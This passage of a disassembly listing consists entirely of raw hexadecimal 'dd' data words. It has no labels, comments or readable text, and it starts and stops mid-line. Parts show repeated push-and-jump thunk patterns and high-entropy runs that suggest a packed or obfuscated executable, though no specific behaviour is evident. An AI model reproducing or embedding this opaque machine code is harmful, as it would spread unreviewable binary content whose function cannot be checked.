2E346947h, 2D1673h, 1B410000h, 62D2D5A4h dd 0F2C20CD0h, 0A2158EEFh, 2C53AFAEh, 666135ACh, 0A6E97F6h dd 0B4AF666Dh, 0C79475DFh, 2DCB8B69h, 0FC3873h, 1B630000h dd 49B878D9h, 0DB4B3A79h, 67370C52h, 44A50064h, 6E7D3FE0h dd 5020970Ah, 5B8DC235h, 9CC5264Ch, 7C42CB3Bh, 2668096Dh dd 95AD1493h, 0BD264CA0h, 2D6FE8F3h, 0C5C18FB8h, 46A71789h dd 7BEE95DBh, 264CE054h, 1E820554h, 0BC1D46C3h, 0F883CC43h dd 83C93994h, 981135D9h, 6143B56h, 1282752Eh, 0E6AC44B7h dd 0B0F22C53h, 388718BDh, 0AE9541B3h, 6C7F40E7h, 0DE3DAD08h dd 1AC236B5h, 0B70E81FAh, 7D5AFF4h, 0ACEE65DEh, 61339E1Dh dd 0D94B5E1Ch, 0DB352334h, 27CC2DFBh, 13A6A3AEh, 0F31A5224h dd 0FE000001h, 46B130BBh, 8AF57477h, 0CC37B6C5h, 127DFC8Fh dd 55C24140h, 737644ADh, 0B6C989F4h, 0FD88CC37h, 3E4D137Eh dd 78EBD0BFh, 20416657h, 0EDF4497Bh, 7CC204AFh, 0F68A3FA1h dd 0BF1A35D8h, 0F38264Ch, 0A9F22FAEh, 4CBF1936h, 69103926h dd 0D8339728h, 0A91DF68h, 38E4608Bh, 1C30A31Ch, 362C53AFh dd 0AF4D82F5h, 5C85DFB4h, 0AD2497FBh, 1B76DAEDh, 0AF2D26ABh dd 4D2EDFB4h, 83D04780h, 32109000h, 0E1732DCCh, 0CCh, 18A3ED0Ch dd 0BAFF41B4h, 9EB3F76Ch, 4E0C9505h, 1B64D73Bh, 4CEFA7A8h dd 733CAB26h, 12970768h, 264C140Ah, 0CE4D5C22h, 0A481D63h dd 8B21677h, 54C740C4h, 2C532EDCh, 0BCCF8B02h, 307EED4Ch dd 8CC948A9h, 0D4444715h, 17A9A42h, 0AF4C948Eh, 44BDE6D5h dd 83FC8FCDh, 12C1D141h, 0D0402D2Ch, 0EDB6046Fh, 5DB81CAFh dd 45F457FCh, 784A13B9h, 0F540h, 2EB9FC00h, 727544AFh dd 0B4C788F3h, 0FA89CA35h, 3F42107Bh, 36AF53C0h, 7BE66564h dd 0BE29A83Bh, 570EFFAh, 0C2B130BBh, 65656ADDh, 3B6D2041h dd 5FD21BE6h, 264C7F70h, 40C93962h, 136A2972h, 83DE4241h dd 263BE22h, 43561883h, 0CB3E87C4h, 264C7F84h, 0EC35A5CEh dd 9F18A3EDh, 7FECE356h, 0FDBC264Ch, 0D4446DEAh, 18A3ED8Eh dd 5DF92599h, 56249BE4h, 7F9FB053h, 8AB3264Ch, 494CBF1Ah dd 192C598Eh, 8E6A65D8h, 3F68DFBEh, 97D97ADEh, 541A8504h dd 256EE145h, 0BE8E9DB2h, 1C8CB5DFh, 0B740D797h, 0B481B2A9h dd 0FF78034Dh, 55B9CC88h, 0EC298AFAh, 67B83AAh, 89F940A5h dd 0A013BE00h, 0E9B541AFh, 411B34A7h, 0E37E9B5h, 0F2DD5091h dd 0E0E9B541h, 91F556B7h, 0BC20A3F0h, 3FA67338h, 80EB6A71h dd 0F47AB3Eh, 0Ah, 0D7A41B62h, 0A51570D4h, 0A8EDC499h dd 541ABB1Fh, 7440E145h, 2C6C0D71h, 0C6943599h, 0FCBE5FC3h dd 0ABE889EDh, 4C13B418h, 7B3ADB3Fh, 50900468h, 405E089h dd 83000000h, 48704E8h, 14895C24h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 2404895Ch, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 53243489h, 0D0FB5BBh, 8BD88906h, 0C483241Ch dd 4EC8104h, 89000000h, 4812424h, 424h, 5F685E00h, 89000015h dd 468F2404h, 24348B08h, 81E28952h, 4C2h, 4C28100h, 87000000h dd 8B5C2414h, 89532404h, 4C381E3h, 83000000h, 1C8704C3h dd 0D7E95C24h, 40FFFB24h, 6D072350h, 0D87FDF59h, 0D14A5DFCh dd 29B8FF8Dh, 3060D1Bh, 36E0FFC5h, 4A0AA188h, 0FC63BC51h dd 571BD42Bh, 5F695BFAh, 0DF7B2281h, 25503D29h, 152BE353h dd 0D6FDC9Dh, 4A4D6B55h, 61397A0Ah, 0F92890B6h, 99778E45h dd 246CED1Dh, 0D31C0D40h, 3F2282F6h, 0B73A0BEDh, 512A021h dd 0E108BCFBh, 0EC606EC9h, 0E85160D0h, 10h, 0AAB65627h dd 524181C7h, 0B68BB95Ah, 0A2A10AD5h, 0B95F7EB3h, 593A4702h dd 752EC781h, 0F5530000h, 60F63359h, 0AACB8166h, 52F5601Bh dd 8B61615Fh, 0F0813704h, 2538F67Dh, 0BD71BB66h, 9808C081h dd 0D38B21CFh, 6B3AE881h, 0FE8A71CAh, 2820F50h, 8A000000h dd 37048FD7h, 0FE8h, 40884A00h, 0E7641522h, 8F4A7B3Fh dd 93CF8787h, 7E90EB81h, 0B65A6AA1h, 0A9EE8179h, 0E97AECF1h dd 0Ch, 7DCB27A6h, 0E87D26FBh, 1B3EDB50h, 0F1A5C681h, 0ED807AECh dd 70FE813Fh, 0FFFFF8Bh, 0FFFF8E85h, 9FE9FCFFh, 0CD000000h dd 47375C19h, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h dd 0E0910D3h, 8 dup(0) dd 6AE90000h, 68000010h, 60D1F3Eh, 0FA5DF1E9h, 202768FFh dd 0E7E9060Dh, 68FFFA5Dh, 60D2110h, 0FA5DDDE9h, 228768FFh dd 0D3E9060Dh, 68FFFA5Dh, 60D2321h, 0FA5DC9E9h, 23BE68FFh dd 0BFE9060Dh, 68FFFA5Dh, 60D2475h, 0FA5DB5E9h, 252468FFh dd 0ABE9060Dh, 68FFFA5Dh, 60D25F7h, 0FA5DA1E9h, 269868FFh dd 97E9060Dh, 68FFFA5Dh, 60D278Ah, 0FA5D8DE9h, 28DC68FFh dd 83E9060Dh, 68FFFA5Dh, 60D2B75h, 0FA5D79E9h, 2C4D68FFh dd 6FE9060Dh, 1FFFA5Dh, 99674516h, 3402E07Bh, 0D3A17FDCh dd 703E1C3Fh, 3DD8B6A5h, 0EE6DA82Fh, 87D44210h, 2338DBA9h dd 0C19A7745h, 0A62D11E3h, 84D487C4h, 4D06F49h, 2D2B4E0Dh dd 0D36A16Fh, 41EEEC32h, 0A96D50FFh, 8B15F368h, 0B0921996h dd 357EC84Bh, 0D65D43F2h, 78C15B03h, 4C73C188h, 0E09F8590h dd 2B010E31h, 0B978C094h, 0F68FB40Bh, 95E48F8Ch, 34h, 9D148BCh dd 24EDAB23h, 52015ABAh, 9B0BE26Fh, 458878BFh, 3B3F1522h dd 1FCD78C0h, 0E1E2A358h, 0AE6CE48Fh, 0D011F467h, 0E5h dd 66F520DEh, 34997C43h, 684E0D04h, 9A7866AAh, 28D79EC1h dd 0CE8C8A45h, 0E5769A44h, 868F5336h, 0A36EB2D5h, 0C05195B8h dd 5D26BD9Bh, 9B7EC76Eh, 0B1AA6876h, 0C706438Eh, 484B63DFh dd 3F04EA99h, 0EA4FA3BEh, 66DCBFF7h, 0D7C019DEh, 0CBEE6DA8h dd 8117D104h, 1E36A50h, 867EC68Ah, 759C6043h, 8A4628AFh dd 88CB7EC6h, 0A3B6B6D9h, 1B0E957Bh, 0E078BF90h, 2C35BF9Dh dd 805638BFh, 98DB78BFh, 3F7C03E9h, 7C72B52Bh, 80955339h dd 0E62FFDDBh, 0E7BB0AF1h, 75249ABFh, 0AAF3323Eh, 706CCD17h dd 0DFAh, 0A886D542h, 43213ADAh, 0E2C09B75h, 7F5DFE14h dd 19F764B1h, 2CE9EE7Eh, 9383512Fh, 0F71CEAC8h, 59B88664h dd 6E522402h, 0D48A05E7h, 11B08A84h, 6C4A1104h, 2AB1739Eh dd 7EC76B48h, 0FDDB8ACDh, 898C4A8Eh, 7464AFD2h, 0CCDAD5BFh dd 8909EC9Bh, 0DD644A90h, 78BFF006h, 0E4DC482h, 0C44124EBh dd 9C239B81h, 78C090BAh, 583D1EF8h, 79773215h, 90987A01h dd 0DA1D78C0h, 90946AF7h, 742278C0h, 8C8DF80Fh, 0ACFEE48Fh dd 25000000h, 2B4E0D04h, 0A2D2EE7h, 0C76E34FDh, 3F9F727Eh dd 0F4DA89D2h, 0E343022Fh, 0CFB200D5h, 0D5868B59h, 77AFB2B2h dd 12170A91h, 99DC78C0h, 0BB2831BBh, 0C0025234h, 0E594D778h dd 0A84478FFh, 468972B5h, 0E873A260h, 0BBBD820Ah, 0CF474847h dd 9E773B1Eh, 0C0F486BDh, 0AA0B17AAh, 0D11AEh, 6FEC2B00h dd 0A51C391h, 0A9B25E2Ch, 4615FDCBh, 0E07B9A68h, 0D2056702h dd 6C3A1843h, 5D3B1AAh, 0A16F4D0Eh, 3B0DEB70h, 8AEED057h dd 997384D4h, 0CD1104FAh, 7456DD47h, 0F97EC76Bh, 7A5807B6h dd 18F665ACh, 0AF911890h, 347EC76Bh, 4A90EF1h, 0E72B4E0Dh dd 8553312Ah, 69ADD08Bh, 13F57CA8h, 987EC76Bh, 0E9C8A655h dd 1842D7F2h, 21086C39h, 0EFD584CCh, 15AB977h, 298CF8CEh dd 0B99C83CBh, 0BFB6492Ch, 0B907CE78h, 594B5A16h, 0C7F6F1Eh dd 6134F335h, 0CDF0AAAFh, 0E36A4A4h, 0B2A96B97h, 8F961D03h dd 8C7B2F2Ah, 63282649h, 95522DF1h, 6DEDD0EFh, 0D0482EF4h dd 58488F0Bh, 0C3A6EADFh, 242E8136h, 957BBE75h, 43213AD7h dd 0DABC43BBh, 5F752435h, 0C3E6759Fh, 0A66A4DFCh, 0BB9F06Bh dd 34153C53h, 0C28D7D3h, 3140000h, 68AC7A58h, 0C94715F3h dd 2CE6B492h, 9283512Fh, 1C50EBC9h, 23015ABBh, 0BC9AC155h dd 583625EEh, 0F6D4878Ah, 0D7B94024h, 5C84D48Bh, 0D04E382h dd 6BAE9017h, 6C337EC7h, 0D22C8FBDh, 35E493CFh, 0BE561412h dd 0B968F320h, 1BC356D6h, 4FBBAE35h, 0BA7F78C1h, 189FD9B3h dd 78C16536h, 64578BBh, 7846743h, 2F19DEC4h, 0F273F430h dd 8F198F72h, 0E76E548Ah, 72B98164h, 3B00E629h, 4715A1CCh dd 0AC5A851h, 0B9BD27FDh, 6CB85D72h, 0B9BD03E5h, 96458872h dd 75E62F73h, 54070E52h, 0EBA80F43h, 0ED126917h, 0EA965F98h dd 4FF3h, 0D1481A00h, 0E05E2309h, 0D36041A9h, 0DEBBB981h dd 0FA256DABh, 58129917h, 9D78C032h, 5DB6745Ah, 0B95A18FEh dd 0D5B87FA2h, 99F0C85Fh, 0EB2678C0h, 45CC8A70h, 0EFBD3316h dd 363B0024h, 3BF7CFE3h, 0D6E5C7BCh, 276A78C0h, 2B595578h dd 0F600000Bh, 2309D148h, 3427EDABh, 0DA674A11h, 78B98442h dd 5816FC3Fh, 0F6C4A2B9h, 8D51C31Bh, 528D784h, 6C6C8F3Eh dd 82472DF5h, 3ED50637h, 33FA1Dh, 0F02FB66h, 3CBA9D4Ch dd 0E3C54CC4h, 6878BA43h, 401BF925h, 0E673561Dh, 72AC5EFFh dd 0D59379BCh, 0E972A23Ch, 838E5C3Ah, 0ACB5B5D8h, 0D6099076h dd 1A6CA53Ch, 76A2B95Ch, 61DEC19Ah, 7BE7E71Eh, 0F7581DBAh dd 0AB1FBh, 0CF8C8B00h, 6AF123F1h, 952BE8Ch, 0A6B55D2Bh dd 401BFAC8h, 32A5C762h, 0CC9A78E3h, 6533114Ah, 1CFADAEh dd 9B6D4B10h, 8D4E30B7h, 0F9D384D4h, 4BD24A5Ah, 7EC76B69h dd 0F57F1CA0h, 0EF335F2h, 0BE1F5D47h, 8130695Dh, 0B43B119Eh dd 0ACB57EC7h, 944318F9h, 9C7836AEh, 0A9D59CBFh, 7F0CEF6Ch dd 78B9CF90h, 0D7848D4Dh, 583EEDB4h, 6E4779Ah, 952C07Eh dd 783C1FE6h, 9F9FC299h, 0B97E64BAh, 5095CD4Ch, 34B29579h dd 0B476BAADh, 53C7F72h, 17AC39D3h, 170F0B6Ch, 2500000Ah dd 0BD8B69F2h, 58260457h, 0F7C5A3B8h, 9462401Bh, 61FCDA81h dd 1249CC0Bh, 0ABB06634h, 4714FFCDh, 0E5769B69h, 0CA513507h dd 84D48DE8h, 4F4936Dh, 0E72B4E0Dh, 8D4B312Ah, 36F1D487h dd 86BD02E4h, 0DE88B5FFh, 4CF8Ch, 9B229A00h, 7EC763B9h dd 0B318FB3Eh, 9078854Ah, 225DC519h, 0D0D3B53Ch, 15587EC7h dd 77AFB232h, 1C3FD391h, 0D14F32F9h, 0B9EC474Ah, 0E3C90C78h dd 916FEC25h, 0EA0D4EC3h, 0BAB407DDh, 42988178h, 0C5E2D55Ch dd 64A772B3h, 0ACEB752Dh, 2D298A17h, 97Ah, 280655C2h, 0C3A1BA5Ah dd 62401BF5h, 0FFDD7E94h, 9977E431h, 0AC696EFEh, 1303D1AFh dd 779C6A48h, 0D93806E4h, 0EED2A482h, 0D48E8567h, 91300A84h dd 684E0D04h, 10F368AAh, 77995755h, 0FF5CB8E4h, 0A2B9581Ch dd 744B2D7Fh, 88B5B6CFh, 42AD5DEh, 25E30000h, 288D70EBh dd 0C76B653Bh, 277ADF7Eh, 0D8BE6DEEh, 0B9869851h, 0B49ADD78h dd 5A401BF6h, 1E4779Ch, 48B038Bh, 78BA4E22h, 0BD8164A7h dd 0E6E40754h, 8A6DEE28h, 1198170Ah, 78BA4E2Fh, 0DCC271B4h dd 4669F21Eh, 0A61E9C7Fh, 0E8020BE1h, 8A6D0078h, 0B31D0AFDh dd 558CCF72h, 17AD9457h, 0C34B47A8h, 79000008h, 11DFBD9Eh dd 0AC7A5803h, 4B19F764h, 0E8B694C7h, 0B5502E2Dh, 66F520B7h dd 0FF5CBA88h, 9BC05321h, 3922EFBDh, 1EA5895Bh, 84D48F3Ch dd 4A48E7C1h, 0AED18A8Ch, 0D14004E7h, 0AB69678Ah, 6CDF06Bh dd 0A9B25F23h, 8CCF4286h, 6EED2569h, 5F24EC4Bh, 9FE4C600h dd 88B51D68h, 3666EDEh, 3B950000h, 7EC76B57h, 0F31D40D9h dd 15D3B968h, 72395CFFh, 0C88A118Fh, 0D78B986h, 0EF26E4CAh dd 88BFD9E8h, 0AC5B280Ah, 61DFC289h, 0FED6EA3h, 688BD041h dd 4329F168h, 56050DCBh, 0FC896C33h, 72B34661h, 0CAEC2366h dd 3517AD68h, 814D8D4h, 0EF280000h, 54C08E6Ch, 0B55B2907h dd 18FAC8A6h, 7E976543h, 864FFDDh, 371546CFh, 0D0AEAD69h dd 6C4A1102h, 0AE8739Eh, 0EBCD5438h, 7084D48Fh, 0D04F796h dd 6BAE9017h, 29EC7EC7h, 63480F32h, 0A4E7120h, 0B25F1D07h dd 6AD2B4A9h, 0DD577EC7h, 0C76B7456h, 7B6F97Eh, 6E763558h dd 1744CD09h, 0B1F59039h, 796DE88h, 0BD000000h, 2A74Ch dd 0D24AE900h, 0C76B694Bh, 69A2A07Eh, 5FF70A7Fh, 0C754377Ah dd 7EC781E3h, 4026FC65h, 0B99B30B9h, 0CF23578h, 0DA61C34Eh dd 78BA63F8h, 0A58B3A7Dh, 0A2D2EE7h, 5CFF1743h, 198F7239h dd 7295C64Bh, 5137EF72h, 61FA1BD9h, 0E7BF33Eh, 943971FCh dd 0DA7502E5h, 0DF72B326h, 899B659Ch, 43A417ADh, 74147h dd 3F1CFB00h, 0DA819361h, 79E22EFCh, 1645CD9Bh, 0B0AB6A38h dd 0A23537D2h, 3C0AE873h, 0D5A381DAh, 713F1D3Eh, 0BDDBBA0h dd 90BEA027h, 694384D4h, 4E0D04CAh, 0FA2AE72Bh, 0C76B9173h dd 24D3167Eh, 453A4201h, 5E37899h, 88B1295Ch, 762DEh, 4C890000h dd 1ECh, 6B5E3BE9h, 41D87EC7h, 7D3BB399h, 57E4C794h, 78B984CFh dd 2BA389CCh, 0D5B8A36Dh, 7D5B0011h, 7DDE37F5h, 0B99CBF51h dd 1C3F1CF5h, 0F7DD051Ch, 0B361D570h, 0F81BD972h, 96794063h dd 6B9FD619h, 0D417AD4Eh, 6A07773h, 7B9C0000h, 0E03402E0h dd 41CF9D7Bh, 0A46E3C1Ah, 0A0BD9B7h, 94D87351h, 0AB89D243h dd 442239DDh, 0E0BE9D76h, 7E5CFF12h, 5F41C8ACh, 0E484D491h dd 0D046B0Ah, 6F2D2B4Eh, 97D733A4h, 74203110h, 0F31EE2C5h dd 90864568h, 0EBAF9118h, 0AC337EC7h, 7EC7EACAh, 0E4270C4Fh dd 160A7101h, 4AA3E951h, 0C84B699Dh, 0FAA97093h, 9DBE5317h dd 0F000F2B7h, 0C362E2E1h, 6AE26AE0h, 0C7EA01E3h, 6043867Eh dd 8832C4C1h, 47CC8ADEh, 472AF114h, 706h, 0D4C2D00h, 0E9000001h dd 0B12F854Ah, 0EA1D3ED3h, 0D6B9B6ACh, 0C7A26C49h, 0EB2AE87Eh dd 0A3864D70h, 2E83E23h, 0B9BBEB7Bh, 0BFA5E878h, 6D4B1001h dd 3E9729Fh, 1546CD8Bh, 0BA853E20h, 0D1757578h, 390F34F6h dd 2DE51154h, 61440B2Eh, 6BB3A6A6h, 2D63FE85h, 256872B4h dd 0AC8226EEh, 0BCB81917h, 5AEh, 0F4D2898Eh, 8F6DEE26h dd 2E0C4FC1h, 0CBA9B260h, 654318FDh, 0E035A2CAh, 47CF9D7Bh dd 0AB683614h, 0D04D2B0h, 0BA9E704Eh, 0D4925133h, 5DFCD684h dd 40D10D04h, 0C8866C1Bh, 23EA0D4Eh, 0D0418540h, 0A1A9688Bh dd 47CE46DAh, 7EC76B65h, 0C4A7EAh, 0C36C4A11h, 0DE88B1C2h dd 7C9h, 4D4CF000h, 0E9000000h, 684E0D04h, 0FF178F0h, 947EC76Bh dd 6B7A5C51h, 0BCFF7EC7h, 37DA1ED9h, 0B9EC6FA7h, 2CBA9729h dd 678A3962h, 4B6EED23h, 204C0F07h, 874669F2h, 145B387Fh dd 0EA71A05Eh, 1C007707h, 84A7B45Eh, 0FB16DABDh, 21FC8260h dd 99000000h, 684E0D04h, 6B8769F0h, 0C90C7EC7h, 6F2D2BE6h dd 45D2B5A6h, 7EC76B6Eh, 0FA249BAFh, 0F7664417h, 694BD24Ah dd 0EE7EC76Bh, 0D04C8ABh, 6BAE9017h, 0F0337EC7h, 739D5B41h dd 0ED93B5E8h, 43796250h, 0E9A7A560h, 0D0503328h, 24AB9149h dd 78BA0B8Ch, 0A2604689h, 400EEC6Fh, 69678AD1h, 0D1F467ABh dd 0B2A7270Ah, 18FF866Ch, 0D572ACF0h, 65E7AC92h, 0DDA7C6A8h dd 0AB69E7CAh, 4917F566h, 0E8AD93C8h, 3152D28Fh, 4219F7B9h dd 0F5F5B093h, 49D0B66Ch, 6CA5BA16h, 3DE1185Bh, 21DB9FEh dd 45CA5A1h, 37E00000h, 9C784624h, 0FD13E1BFh, 60B2805Eh dd 0C64F1DFBh, 501CB795h, 0EFCD8E87h, 8866F521h, 240259BAh dd 0C2A0BB56h, 0A3850CF0h, 2884D493h, 0D04AF4Eh, 749C42D1h dd 0AB8938E7h, 42734DDh, 240A51C0h, 8CAFAC66h, 6F92C948h dd 5B16F9A8h, 395CFF17h, 183B20F5h, 0CD8AF1B9h, 7D591E26h dd 61E9C794h, 6B8062E9h, 0C2057EC7h, 0B14540DFh, 3F46DE88h dd 6D000000h, 858CD148h, 3DECB3D6h, 0B516D057h, 9C5A78BFh dd 36B05D7Ah, 0D52C9091h, 83C64326h, 0AA67259Dh, 0E4C78EB1h dd 8A68F320h, 0BFF71BF3h, 1EC05178h, 0D7B564F7h, 2E510A09h dd 3A932h, 0D148CF00h, 33AB2309h, 0C76ACAACh, 290C4F7Eh dd 0C077199Ch, 789BDE78h, 1101DD34h, 19789B4Ah, 6DF46A51h dd 6015F77Eh, 579A78C0h, 854AC2A8h, 0CC4CB9AFh, 31BEA1B0h dd 72B966AEh, 7463B373h, 8C0C316Dh, 8332E1C3h, 0B15F1DA5h dd 0D247C7AAh, 1C9F260Ch, 0E16CB259h, 0B940B89Eh, 6CB241D7h dd 7B36195Ch, 977DDE37h, 0FB1E3DD9h, 8A965134h, 0FCC1A71Ch dd 63B36BDDh, 8E68C5F8h, 0B7AA2A0Dh, 7F02896Fh, 4366AAA0h dd 9BCE8D85h, 71428361h, 0B43114C6h, 4CC59371h, 69A8EC0Fh dd 0C74E0CF2h, 0B13BB194h, 3A21F5A8h, 0BBA15017h, 0AF31CEF6h dd 0E4173152h, 0F2940FB5h, 0D25033B3h, 0A3C8784Bh, 97BAFD60h dd 0A3A8B48Ah, 2F944260h, 0AC786D18h, 401EFCh, 48450000h dd 9C2309D1h, 78BF9BC5h, 94908341h, 0C03B2B0Dh, 0BE6DB078h dd 74F1D49Bh, 4B100E31h, 0F41D54CDh, 1AF73467h, 1C3F1CF9h dd 36C3A655h, 78C00060h, 0C47B40EEh, 0E4901CC1h, 118CAh dd 0D04F100h, 68AA684Eh, 6B5335BCh, 95D87EC7h, 44803E6h dd 29274A11h, 0F87FA56Bh, 7EC76B16h, 86A9589Bh, 0F918DCBFh dd 16FB3F62h, 60E75F45h, 7EC76B7Eh, 8BD04303h, 0EC83F9DCh dd 7EC76E23h, 0C6A82FA7h, 4B7EC765h, 66684AD1h, 0AAED7EC7h dd 0BD5418FBh, 0C038C09Eh, 0C7665739h, 0B699DC7Eh, 193C1FF2h dd 9ABC561Bh, 0BFB8AE7Dh, 1DC55CDCh, 5638BF37h, 0DB7EC6C3h dd 0BF37B598h, 23461501h, 71EC795Ch, 3678BEEBh, 0CF8D15F3h dd 0E07B9945h, 64470E31h, 0EE287DE4h, 0D4834A6Dh, 0C6B176EEh dd 6DEE2227h, 4950834Ah, 0FA61AFA4h, 2FDB684Bh, 7472B55Ah dd 4CD34B31h, 72B6026Ah, 4BC9ACEFh, 0F5D3888Dh, 366DEE27h dd 17AA87B2h, 0C3F0EC4Dh, 79000001h, 11DFBD9Eh, 0AC7A5803h dd 4B19F764h, 0E8B694C7h, 0B5502E2Dh, 66F520B7h, 0FF5CBA88h dd 9BC05321h, 3922EFBDh, 1EA5895Bh, 84D4963Ch, 4A48E7C1h dd 6B694BD2h, 69A77EC7h, 0E7CA0DF2h, 8B69F223h, 290754BDh dd 9D148BAh, 9BC59C23h, 0FF4278BFh, 3AF9CFDCh, 0D98778C0h dd 52C07EE2h, 0FE872609h, 8DE48FE1h, 0ADh, 4E0D04B4h, 2D2EE72Bh dd 6E34FD0Ah, 9F727EC7h, 110DEBCh, 7B39375Ah, 62E2C596h dd 0BA4127FFh, 78BF8E3Fh, 1DDBC104h, 0F8568F3h, 60469C85h dd 0D3A349Bh, 7B998CD1h, 0D04E31E0h, 0B52E4449h, 0E07B4072h dd 0AA338181h, 0B1F47154h, 53080DCBh, 0F467AF6Dh, 0B1270AD1h dd 68AC32E3h, 0C4FC7F3h, 3C7322E9h, 17AAE8B6h, 0EBECE849h dd 51000000h, 0E9B795C6h, 8452302Bh, 23F1CF8Ch, 0C08E6CEFh dd 8D280655h, 3E1DF8DFh, 0D7849260h, 73E82BF9h, 114AC795h dd 0F67D6133h, 84D49714h, 420BF99h, 9E6C4A11h, 0B1AA6B73h dd 3A18C78Eh, 170D04CBh, 0C76BAE90h, 2024E57Eh, 0AA0E505h dd 4AAFE225h, 0DEA59B59h, 0EC305302h, 9678FF25h, 1B7EC7BDh dd 0C14B29D8h, 159C8258h, 78B9D82Ah, 4589ACEFh, 739358CCh dd 5C2734B6h, 4F6F5146h, 64A678BBh, 51674531h, 31E02308h dd 0CF8C8553h, 12649FACh, 0B162A769h, 0CD4387AAh, 0DF716B8Eh dd 0BE74BB98h, 26491200h, 97EC7C5Fh, 0B795C64Bh, 4D3328E9h dd 5CFF17D5h, 69A38567h, 0E4C70A47h, 0A86D2B29h, 60CD0B3h dd 0CA263255h, 3053080Ch, 81F68669h, 0C19FBC55h, 1A3D1EF3h dd 0D1Eh, 0A32AA200h, 4769A3C1h, 0BB200346h, 13041520h dd 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h dd 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 572A2B4Eh, 0C781E789h dd 4, 4EF81h dd 3C870000h, 24895C24h, 24048324h, 53CE6804h, 0C890000h dd 7BC6824h, 3C890000h, 0B9685724h, 8B77C774h, 0C483243Ch dd 0E8C78104h, 81416A6Fh, 0DB395CC7h, 5FF9894Ch, 243C8B54h dd 5204C483h, 8BAh, 89FA0100h, 24148B0Ah, 4C481h, 34FF0000h dd 0C4815F24h, 4, 592434FFh, 4C481h, 97E90000h, 67FFFA4Dh dd 2D7DDD96h, 2D5DB8AEh, 0C503060Dh, 45EEE0FFh, 0BFFC784Ah dd 369B2A1Bh, 88A23622h, 62BD72C0h, 0F5A55962h, 757D664Fh dd 0B5255062h, 830B318Dh, 374D569Ch, 90953F6h, 6CD84F9Fh dd 17D60537h, 9B606EA9h, 86DF162Bh, 4A3C6874h, 2D4055A2h dd 2FD636C9h, 0E3183B16h, 52D371ABh, 8153113Ah, 7D2F10FCh dd 0EB8D1A3Fh, 3DFD400Bh, 3F2F626Fh, 0F1972496h, 9F013AB4h dd 8D8D075Fh, 60D2F0Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 14C35545h, 5FF9BF17h, 28999509h, 8D890607h dd 6070679h, 5E9h, 0D0A59E00h, 85C75CC1h, 6072CE5h, 5CB8h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 2AC35040h dd 0E6DE3AEAh, 1D558589h, 85C70607h, 6072D05h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0D5C35343h dd 9589D94Ah, 6071B7Dh, 659B5FFh, 8C0F0607h, 6, 16AD8D89h dd 95FF0607h, 60700BDh, 11CDBD8Bh, 6A0607h, 16B595FFh dd 0C08B0607h, 0D1935AEBh, 0BEA73C94h, 0E339951Eh, 0E1862D45h dd 93A978AFh, 0AE1D93FAh, 30ABFD2h, 0BA95F9B5h, 4B1A752Dh dd 0DC6310F1h, 0FDDB65AAh, 9B1B399Dh, 962158B3h, 0EFBBBB27h dd 0F0F7C5CBh, 0B4255CDEh, 2B67E54h, 0CDB17908h, 0A413A9F8h dd 10C7D3ECh, 0D2A96979h, 3034CAE0h, 5B3A6938h, 1A4E9h dd 54C02300h, 0D52C2704h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h dd 10000ACh, 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 9 dup(0) dd 1087E900h, 1A680000h, 0E9060D33h, 0FFFB0F6Ah, 0D343168h dd 0F60E906h, 168FFFBh, 0E9060D36h, 0FFFB0F56h, 0D36E368h dd 0F4CE906h, 0DC68FFFBh, 0E9060D37h, 0FFFB0F42h, 0D38D068h dd 0F38E906h, 0A668FFFBh, 0E9060D39h, 0FFFB0F2Eh, 0D3A1968h dd 0F24E906h, 1768FFFBh, 0E9060D3Bh, 0FFFB0F1Ah, 0D3B9668h dd 0F10E906h, 3368FFFBh, 0E9060D3Ch, 0FFFB0F06h, 0D3CE868h dd 0EFCE906h, 9468FFFBh, 0E9060D3Dh, 0FFFB0EF2h, 0D3EFE68h dd 0EE8E906h, 768FFFBh, 0E9060D40h, 0FFFB0EDEh, 52D1DA9Fh dd 961596E7h, 0D857642Bh, 1E9D2E6Dh, 63E2E1B3h, 93E10CF6h dd 56269110h, 2D69D453h, 0EEB01B9Ah, 886D5CDBh, 414E3A15h dd 91E61820h, 9F18A3EDh, 79C0705Dh, 57C74C75h, 9B2E7011h dd 0DAE9AB22h, 4AAB1B76h, 87C836D6h, 396669DCh, 436C264Ch dd 950881E2h, 2C53C9B5h, 7D1A7EA7h, 0DFB54956h, 79D7A485h dd 732E359Bh, 2748h, 0A41B7300h, 146FD3D6h, 4ACA12A4h dd 0AF725ED1h, 3B642C53h, 0AF113AD7h, 6142DFB4h, 0CB583694h dd 3607732Dh, 32000001h, 86D2A3EDh, 87EBFCBDh, 0C667CB2Ch dd 3590F4F7h, 9C0F73D4h, 440A5B25h, 0CF70D435h, 419C008Bh dd 95E770E0h, 4F11B216h, 0BD21A8F6h, 5976E962h, 79264C7Fh dd 0EA8BEF50h, 259C15A4h, 0E1AE5556h, 0A2096ADAh, 264C849Fh dd 301F92DBh, 22D9B384h, 0BE0089F9h, 85F89BE5h, 0D9B3844Ah dd 85FE5F88h, 0B3843D12h, 8BEC15D9h, 1A58CF0Ch, 58C82387h dd 81E981CFh, 7C0F4D28h, 243BD00Ah, 69B55FC3h, 36198CD5h dd 1CD9B3B2h, 